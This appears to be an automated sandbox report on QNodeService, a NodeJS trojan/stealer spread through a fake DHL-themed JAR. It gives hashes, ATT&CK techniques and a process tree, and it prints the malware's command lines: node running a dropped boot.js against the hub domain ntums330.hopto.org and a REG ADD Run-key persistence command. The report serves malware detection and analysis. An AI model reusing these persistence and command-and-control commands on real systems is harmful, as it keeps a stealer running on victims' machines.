qnodeservice | 0039ce5cc4dc578a2b74c653f0b3f4cf23accb66c515be8a14679dab557aa311

General

Target

DHL_Nov 2020 at 1.60_8BZ290_JPG.jar
Size

102KB
MD5

f510cc2e6db0132ffad3d5f2345513f1
SHA1

9c0aee278531f417a5d13751540d67bd6ea8cc37
SHA256

0039ce5cc4dc578a2b74c653f0b3f4cf23accb66c515be8a14679dab557aa311
SHA512

130ebf7b024d7fc78f850b63086db83154fba48cc5a973e943e78bcb1d8506bcd1ab7395dbb84372c5a04cac4472c0132839286505a107f02f83489e0b10c654

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
208	node.exe
1888	node.exe
3668	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\c3cffcfc-7ee0-409b-9ccc-1aa2f785a75e = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab9a-175.dat	js
behavioral2/files/0x000100000001ab9a-180.dat	js
behavioral2/files/0x000100000001ab9a-184.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
208	node.exe
208	node.exe
208	node.exe
208	node.exe
1888	node.exe
1888	node.exe
1888	node.exe
1888	node.exe
3668	node.exe
3668	node.exe
3668	node.exe
3668	node.exe
3668	node.exe
3668	node.exe
3668	node.exe
3668	node.exe
3668	node.exe
3668	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1036 wrote to memory of 1172	1036	java.exe	77
PID 1036 wrote to memory of 1172	1036	java.exe	77
PID 1172 wrote to memory of 208	1172	javaw.exe	81
PID 1172 wrote to memory of 208	1172	javaw.exe	81
PID 208 wrote to memory of 1888	208	node.exe	83
PID 208 wrote to memory of 1888	208	node.exe	83
PID 1888 wrote to memory of 3668	1888	node.exe	84
PID 1888 wrote to memory of 3668	1888	node.exe	84
PID 3668 wrote to memory of 1012	3668	node.exe	86
PID 3668 wrote to memory of 1012	3668	node.exe	86
PID 1012 wrote to memory of 3728	1012	cmd.exe	87
PID 1012 wrote to memory of 3728	1012	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL_Nov 2020 at 1.60_8BZ290_JPG.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:1036
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\399e7562.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums330.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:208
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_1MlvYQ\boot.js --hub-domain ntums330.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1888
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_1MlvYQ\boot.js --hub-domain ntums330.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3668
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c3cffcfc-7ee0-409b-9ccc-1aa2f785a75e" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1012
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c3cffcfc-7ee0-409b-9ccc-1aa2f785a75e" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3728

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/208-178-0x00000111F7C40000-0x00000111F7C41000-memory.dmp

Filesize
4KB

Download
memory/1888-181-0x000002615C640000-0x000002615C641000-memory.dmp

Filesize
4KB

Download
memory/3668-185-0x000002390BF80000-0x000002390BF81000-memory.dmp

Filesize
4KB

Download

Analysis

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